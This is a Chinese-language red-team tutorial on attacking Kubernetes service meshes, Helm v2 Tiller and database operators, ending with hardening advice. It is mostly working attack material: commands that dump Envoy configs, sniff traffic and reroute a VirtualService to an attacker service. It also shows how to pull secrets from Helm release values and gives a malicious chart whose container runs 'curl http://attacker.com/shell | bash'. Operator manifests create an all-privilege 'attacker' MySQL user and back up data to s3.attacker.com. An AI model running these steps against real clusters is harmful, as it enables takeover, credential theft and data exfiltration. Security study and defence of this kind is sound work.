紅隊視角出發的k8s敏感信息收集——Kubernetes API 擴展與未授權訪問

針對 Kubernetes 第三方組件與 Operator 的詳細攻擊視角分析，涵蓋 Service Mesh、Helm Releases 和 Database Operators 的潛在風險及利用方法。

攻擊鏈示例

1. 攻擊者通過未授權的 Tiller 服務部署惡意 Helm Chart → 
2. 創建后門 Pod 并橫向移動至 Istio 控制平面 → 
3. 提取 Envoy 配置發現未加密的數據庫服務 → 
4. 通過 MySQL Operator 創建管理員賬戶導出數據。

Service Mesh（如 Istio、Linkerd）攻擊場景

目標：通過 Service Mesh 的配置漏洞（如未加密通信、寬松路由規則），竊取流量或劫持服務間通信。

提取 Envoy Sidecar 配置

訪問 Envoy 管理接口

在Istio服務網格中，Envoy作為sidecar代理被注入到每個Pod中，用于處理進出該Pod的所有網絡流量。Envoy提供了管理接口，默認情況下，這些接口在15000端口（用于配置轉儲和其他調試信息）和15020端口（用于健康檢查、統計信息等）上可用。這些接口對于調試和監控非常有用，但同時也需要謹慎對待，以避免敏感信息泄露給未授權的用戶。

要在已控制的Pod中查詢Envoy配置，可以使用以下命令：

curl http://localhost:15000/config_dump > envoy_config.json

此命令會從運行在本地（即同一Pod內）的Envoy實例獲取其完整配置，并將其保存到envoy_config.json文件中。這對于了解Envoy如何路由請求、查看過濾器鏈或進行故障排查特別有用。

如果需要訪問其他Pod中的Envoy配置（假設網絡策略允許這樣做），可以使用如下命令直接指定目標Pod的IP地址：

curl http://xx.xx.xx.xx:15000/config_dump

這里的xx.xx.xx.xx應替換為目標Pod的實際內部IP地址。

分析路由規則與 mTLS 配置

通過分析Envoy的配置文件（例如從/config_dump端點獲取的envoy_config.json），可以檢查關鍵的安全設置，包括是否啟用了mTLS以及路由規則的嚴格程度。以下是具體步驟和示例：

在Envoy配置中查找 “tls_mode” 字段可以幫助你判斷通信是否被加密。如果該字段值為 “DISABLE”，則表示通信未加密，即mTLS未啟用。

{// ... 其他配置 ..."tls_context": {"common_tls_context": {// ... TLS 相關配置 ...},"tls_mode": "DISABLE"  // 表示通信未加密}// ... 其他配置 ...
}

“tls_mode”: “DISABLE” 明確指出當前Envoy實例的連接并未使用TLS加密，這意味著數據傳輸是明文的，容易受到竊聽或篡改攻擊。

另一個重要的方面是檢查Istio的路由規則是否過于寬松，比如允許所有流量通過通配符*。以下是一個可能表明存在寬松路由規則的例子：

{"route_config": {"name": "http.80","virtual_hosts": [{"name": "backend","domains": ["*"],  // 允許來自任何域名的請求"routes": [{"match": {"prefix": "/"  // 匹配所有路徑},"route": {"cluster": "service_cluster"}}]}]}
}

在這個例子中，“domains”: “*” 和 “prefix”: “/” 的組合意味著該路由規則接受來自任意來源的所有請求，這可能不符合最小權限原則，增加了潛在的安全風險。

流量劫持與嗅探

利用 PERMISSIVE mTLS 模式

當Istio的PeerAuthentication策略設置為PERMISSIVE模式時，這意味著服務既可以接受明文（未加密）通信也可以接受mTLS加密通信。這種靈活性雖然有助于逐步遷移到完全加密的通信環境，但也帶來了安全風險，特別是在網絡中存在潛在攻擊者的情況下，他們可以利用這一點來嗅探未加密的流量。

要在Pod內啟動tcpdump以捕獲特定端口（例如8080）上的流量，并將其保存到一個文件中，可以使用以下命令：

tcpdump -i eth0 'port 8080' -w traffic.pcap

解釋：

-i eth0：指定要監聽的網絡接口，在這個例子中是eth0。你需要根據實際環境中Pod的網絡接口名稱進行調整。
‘port 8080’：過濾條件，這里表示只捕獲目標或源端口為8080的流量。
-w traffic.pcap：將捕獲的數據包寫入名為traffic.pcap的文件中，該文件可以隨后用Wireshark等工具打開進行分析。

篡改 VirtualService 路由

在Istio服務網格中，VirtualService資源用于定義路由規則，這些規則決定了到達特定主機的流量如何被路由。如果攻擊者能夠創建或修改VirtualService配置，他們就可以將原本指向合法服務的流量重定向到由攻擊者控制的服務（即“惡意服務”），這種行為可能導致敏感數據泄露、拒絕服務(DoS)攻擊或其他形式的安全威脅。

下面是一個示例命令，展示了如何使用kubectl apply命令來創建一個名為malicious-route的VirtualService，該服務會將發往prod-service.default.svc.cluster.local的所有HTTP請求重定向到攻擊者的attacker-service.default.svc.cluster.local：

kubectl apply -f - <<EOF
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:name: malicious-route
spec:hosts:- "prod-service.default.svc.cluster.local"http:- route:- destination:host: attacker-service.default.svc.cluster.local
EOF

Helm Releases 與 Tiller（舊版本）攻擊場景

目標:利用舊版本 Helm（v2）的 Tiller 服務未授權訪問漏洞，獲取部署歷史中的敏感參數或部署惡意 Chart。

發現 Tiller 服務

掃描 Tiller 默認端口（44134）

Tiller是Helm的經典版本（Helm 2）中的服務端組件，它在Kubernetes集群中與客戶端交互以管理charts和發布。默認情況下，Tiller會在44134端口上監聽傳入的gRPC請求。然而，在Helm 2中，如果未正確配置權限和認證，Tiller可能會成為安全風險點，因為它具有對Kubernetes資源進行增刪改查的權限。

使用nmap工具可以掃描指定范圍內的IP地址，尋找開放44134端口的主機，這可能指示了Tiller服務的位置。以下是您提供的命令示例：

nmap -p44134 10.96.0.0/12

這個命令將對10.96.0.0/12子網內的所有IP地址執行掃描，目的是查找那些在其44134端口上有開放服務的主機。在這個例子中，輸出可能顯示Tiller服務運行于10.96.0.101。

檢查 Tiller 的 RBAC 權限

在Helm 2中，Tiller默認配置可能會被賦予過高的權限，如cluster-admin角色，這使得它擁有對整個Kubernetes集群進行管理操作的能力。如果Tiller暴露于不受信任的網絡環境中或存在安全漏洞，則可能允許攻擊者利用這些高權限執行任意操作，包括但不限于部署惡意容器、竊取敏感信息或完全控制集群。

為了檢查Tiller是否使用了cluster-admin權限或其他過高權限，您可以查看與Tiller相關的Kubernetes服務賬戶和服務的角色綁定（RoleBindings）和集群角色綁定（ClusterRoleBindings）。然而，直接通過命令行工具快速驗證Tiller權限的一個方法是嘗試列出所有發布的版本，這需要一定的權限：

helm --host tiller-deploy.kube-system:44134 list --all

這條命令嘗試連接到位于tiller-deploy.kube-system:44134的Tiller實例，并列出所有已部署的發布。如果成功執行，表明您至少具有讀取所有Helm發布的權限；若失敗，則可能存在網絡問題、認證問題或者確實缺乏必要的權限。

但是，要具體檢查Tiller關聯的服務賬號的權限設置，可以通過以下步驟：

步驟 1: 查找 Tiller 使用的服務賬號

首先，確認Tiller使用的Kubernetes服務賬號名稱。通常情況下，在Helm 2中，默認服務賬號名為tiller，并且位于kube-system命名空間內。

步驟 2: 檢查 RoleBinding 或 ClusterRoleBinding

接下來，檢查該服務賬號關聯的RoleBindings或ClusterRoleBindings。例如：

kubectl get clusterrolebinding -n kube-system | grep tiller

或者針對特定命名空間內的RoleBindings：

kubectl get rolebinding -n kube-system | grep tiller

步驟 3: 分析綁定的角色

一旦找到相關聯的RoleBinding或ClusterRoleBinding，進一步查看它們所引用的角色定義。例如，如果您發現了一個指向cluster-admin的角色綁定：

kubectl describe clusterrolebinding tiller-binding

輸出結果應包含類似以下內容，指示tiller服務賬號已被授予cluster-admin權限：

Name:         tiller-binding
Labels:       <none>
Annotations:  <none>
Role:Kind:  ClusterRoleName:  cluster-admin
Subjects:Kind            Name      Namespace----            ----      ---------ServiceAccount  tiller    kube-system

竊取敏感部署參數

獲取 Helm Release 歷史

使用Helm 2并通過指定Tiller主機來獲取特定Helm發布的歷史記錄是一個直接的方法，可以幫助您審查該發布的變更歷史。通過檢查這些歷史版本，您可以查找是否存在潛在的安全隱患，例如是否在部署時通過–set password=xxx這樣的參數明文設置了敏感信息。

要獲取名為my-release的Helm發布的歷史記錄，可以使用如下命令：

helm --host tiller-deploy.kube-system:44134 history my-release

此命令將連接到位于tiller-deploy.kube-system:44134的Tiller實例，并列出my-release的所有修訂版本（revision），包括每個版本的狀態、更新時間和描述等信息。

為了進一步檢查歷史版本中是否包含通過–set選項設置的敏感信息，如密碼，您可能需要查看每個修訂版本的具體配置。雖然helm history命令提供了基本的歷史視圖，但它不會顯示詳細的chart值或通過–set指定的變量值。為此，您可以使用以下方法之一：

方法 1: 使用 helm get 查看特定版本的詳細信息

對于任何給定的修訂版本，您可以使用helm get manifest結合–revision標志來獲取其完整的Kubernetes資源定義，然后手動檢查是否有敏感信息泄露：

helm --host tiller-deploy.kube-system:44134 get manifest my-release --revision <REVISION_NUMBER> > my-release-revision.yaml

這里，<REVISION_NUMBER>應替換為想要檢查的具體修訂版號。然后，可以打開生成的YAML文件，搜索可能存在的敏感數據。

方法 2: 直接檢查 Tiller 的存儲

如果您有直接訪問Tiller數據庫的權限，理論上可以直接查詢Tiller使用的etcd或MySQL后端來檢索存儲的chart值。然而，這種方法復雜且不推薦，因為它繞過了正常的API接口并且可能違反安全策略。

導出 Release 明文配置

為了檢查特定Helm release在某個修訂版本中的值（包括可能通過–set參數設置的任何明文敏感信息），您可以使用helm get values命令并指定目標修訂版本。這對于審計和安全審查特別有用，可以幫助識別是否有敏感數據（如密碼）以不安全的方式存儲或傳遞。

以下是如何操作的具體步驟：

helm --host tiller-deploy.kube-system:44134 get values my-release --revision 2

這個命令將連接到位于tiller-deploy.kube-system:44134的Tiller實例，并導出名為my-release的release在修訂版本2時的所有值（即通過values.yaml文件或–set參數設置的變量）。輸出可能類似于：

password: "xxxxxxx"

這表明，在該修訂版本中，有一個名為password的變量被設置為s3cr3t!，且此信息是以明文形式存儲的。

部署惡意 Helm Chart

創建后門 Chart

在 values.yaml 文件中定義惡意容器配置是非常危險的行為，這可以導致嚴重的安全問題，包括但不限于遠程代碼執行、數據泄露和服務中斷。以下是你提供的示例配置：

image:repository: evil-imagetag: latest
command: ["sh", "-c", "sleep infinity && curl http://attacker.com/shell | bash"]

這種配置會指示Kubernetes從指定的倉庫拉取一個名為evil-image的鏡像，并運行其中包含的命令，該命令首先會讓容器進入無限等待狀態（sleep infinity），然后通過curl下載一個腳本并立即執行（curl http://attacker.com/shell | bash）。如果此配置被部署到集群中，它將嘗試從http://attacker.com/shell下載并執行任意代碼，這對系統的安全性構成了直接威脅。

通過 Tiller 安裝

這條命令指示Helm客戶端連接到位于tiller-deploy.kube-system:44134的Tiller服務器，并部署位于當前目錄下的名為malicious-chart的chart。

helm --host tiller-deploy.kube-system:44134 install ./malicious-chart

Database Operators（如 MySQL Operator）攻擊場景

目標：利用 Database Operator 的高權限配置，直接操作數據庫實例（如創建管理員賬戶、導出數據）。

枚舉 Database Operator

識別已安裝的 Operator

在Kubernetes環境中，Custom Resource Definitions (CRDs) 是擴展API資源的一種方式，通常用于支持Operators。通過查找特定類型的CRD（例如與數據庫相關的如MySQL或PostgreSQL），可以發現集群中可能已經安裝了哪些Operators。

執行以下命令可以幫助您識別與mysql或postgresql相關的CRD：

kubectl get crd | grep -E 'mysql|postgresql'

此命令首先列出所有自定義資源定義(CRDs)，然后使用grep過濾出名稱包含mysql或postgresql的條目。輸出示例可能如下所示：

mysqlclusters.mysql.oracle.com
postgresqlclusters.postgresql.example.com

這些輸出表明，在您的Kubernetes集群中有名為mysqlclusters.mysql.oracle.com和postgresqlclusters.postgresql.example.com的CRDs存在，這通常意味著有相應的Operator正在管理MySQL和PostgreSQL實例。

一旦確定了感興趣的CRDs，您可以進一步探索這些資源的具體實例以及它們的狀態。例如，要查看所有MySQL集群實例，可以運行：

kubectl get mysqlclusters.mysql.oracle.com

類似地，對于PostgreSQL集群：

kubectl get postgresqlclusters.postgresql.example.com

這些命令將顯示每個CRD下的具體資源實例列表及其狀態。

檢查 Operator 的 RBAC 權限

為了確保Operator的安全性，了解其被賦予的權限是非常重要的。特別是要檢查是否有不當的高權限分配，比如cluster-admin，這可能會帶來安全風險。通過查詢與特定Operator相關的ClusterRoleBindings或RoleBindings，可以查看其權限設置。

您提供的命令使用kubectl結合jq來過濾出與mysql-operator相關的ClusterRoleBindings。以下是該命令及其解釋：

kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("mysql-operator"))'

kubectl get clusterrolebinding -o json：獲取所有ClusterRoleBindings并以JSON格式輸出。
jq ‘.items[] | select(.metadata.name | contains(“mysql-operator”))’：使用jq工具從返回的JSON中篩選出名稱包含mysql-operator的所有ClusterRoleBinding項。

此命令可以幫助識別與mysql-operator直接相關的角色綁定，并檢查這些綁定是否授予了過高的權限，如cluster-admin。

假設輸出如下：

{"apiVersion": "rbac.authorization.k8s.io/v1","kind": "ClusterRoleBinding","metadata": {"creationTimestamp": "2023-04-01T12:00:00Z","name": "mysql-operator-cluster-admin"},"roleRef": {"apiGroup": "rbac.authorization.k8s.io","kind": "ClusterRole","name": "cluster-admin"},"subjects": [{"kind": "ServiceAccount","name": "mysql-operator","namespace": "default"}]
}

在這個例子中，可以看到名為mysql-operator-cluster-admin的ClusterRoleBinding將cluster-admin角色綁定到了default命名空間下的mysql-operator服務賬戶上，這意味著該Operator具有對整個集群的完全控制權。

創建惡意數據庫實例

利用 CRD 創建高權限用戶

創建高權限用戶，尤其是在生產環境中，需要非常謹慎。未經授權或不安全的用戶創建可能導致嚴重的安全隱患，包括但不限于數據泄露、數據損壞和服務中斷。您提供的YAML配置示例展示了如何通過MySQL Operator的CRD（Custom Resource Definition）定義一個具有廣泛權限的新用戶。以下是該示例的具體內容：

apiVersion: mysql.oracle.com/v1
kind: MySQLUser
metadata:name: attacker-user
spec:username: "attacker"password: "P@ssw0rd!"permissions:- database: "*"privileges: ["ALL"]

這個配置嘗試創建一個名為attacker的新MySQL用戶，并賦予其對所有數據庫（*）的所有權限（“ALL”）。這種設置對于任何環境來說都是極其危險的，因為它授予了該用戶幾乎不受限制的操作能力。

導出數據庫數據

使用Operator的備份功能將數據導出到不受信任或攻擊者控制的存儲位置是一種嚴重的安全威脅，可能導致敏感數據泄露。您提供的YAML配置示例展示了如何通過MySQL Operator的MySQLBackup CRD（Custom Resource Definition）定義一個備份任務，并將數據導出到攻擊者控制的S3存儲。

apiVersion: mysql.oracle.com/v1
kind: MySQLBackup
metadata:name: data-exfil
spec:storage:s3:bucket: "attacker-bucket"endpoint: "s3.attacker.com"accessKey: "AKIAXXX"secretKey: "SECRETXXX"

此配置嘗試創建一個名為data-exfil的備份任務，該任務會將數據庫備份發送到指定的S3存儲桶attacker-bucket，其訪問點為s3.attacker.com，并使用提供的accessKey和secretKey進行認證。

直接連接數據庫

獲取數據庫連接信息

使用kubectl命令結合jsonpath可以從Kubernetes集群中提取特定資源的狀態信息。對于MySQL Operator管理的MySQL集群，可以通過以下命令獲取數據庫的連接端點：

kubectl get mysqlcluster my-db -o jsonpath='{.status.databaseEndpoint}'

此命令將查詢名為my-db的MySQLCluster資源，并輸出其.status.databaseEndpoint字段的內容，該字段通常包含數據庫服務的主機名和端口號。例如，輸出可能是：

my-db.default.svc.cluster.local:3306

這表示數據庫可以通過服務名稱my-db.default.svc.cluster.local在端口3306上訪問。

使用竊取的憑據訪問

使用竊取的憑據訪問數據庫是嚴重違反安全政策的行為，并且在未經授權的情況下訪問系統或數據可能會觸犯法律。以下命令展示了如何使用獲取到的數據庫連接信息和憑據來嘗試登錄MySQL數據庫：

mysql -h my-db.default.svc.cluster.local -u attacker -pP@ssw0rd!

這里，-h參數指定了目標數據庫的服務地址（基于前面獲取到的信息），-u指定了用戶名，而-p后面緊跟的是密碼。

防御建議

Service Mesh 加固

強制 mTLS：設置 PeerAuthentication 為 STRICT 模式，禁用明文通信。
最小化路由規則：避免使用 * 通配符，限制服務間的訪問路徑。
網絡策略：使用 NetworkPolicy 限制 Envoy 管理接口的訪問來源。

Helm/Tiller 加固

升級至 Helm v3：棄用 Tiller，直接使用 Kubeconfig 認證。
Tiller 權限限制（若必須使用 v2）：為 Tiller 配置最小權限的 ServiceAccount。
加密敏感參數：使用 --set-file 或 Secrets 存儲密碼，避免命令行明文傳遞。

Database Operator 加固

RBAC 最小化：為 Operator 配置僅限必需資源的權限。
審計自定義資源：監控 MySQLUser、MySQLBackup 等高風險 CRD 的創建操作。
存儲加密：確保 Operator 的備份功能使用加密存儲（如 S3 SSE-KMS）。

總結

第三方組件和 Operator 的權限往往被低估，防御需嚴格遵循最小權限原則，并定期審計其配置與行為，避免成為攻擊者的“提權跳板”。